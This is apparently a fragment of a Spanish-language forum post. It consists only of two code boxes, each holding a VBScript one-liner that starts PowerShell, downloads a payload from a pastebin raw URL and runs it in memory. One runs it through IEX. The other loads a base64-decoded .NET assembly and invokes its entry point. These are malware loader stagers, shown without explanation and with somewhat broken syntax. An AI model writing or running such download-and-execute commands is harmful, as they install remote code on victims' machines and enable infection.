Código: Seleccionar todo
Set As_wW = CreateObject("WScript.Shell").Run(""powershell.exe ""IEX ((new-object net.webclient)..DownloadString('hxxps://pastebin[.]com/raw/e8GrYbHb'))).EntryPoint.Invoke(null,null))
o
Código: Seleccionar todo
vbscript:CreateObject("Wscript.Shell").Run(""powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/sTEMbbbF'))).EntryPoint.Invoke($null,$null)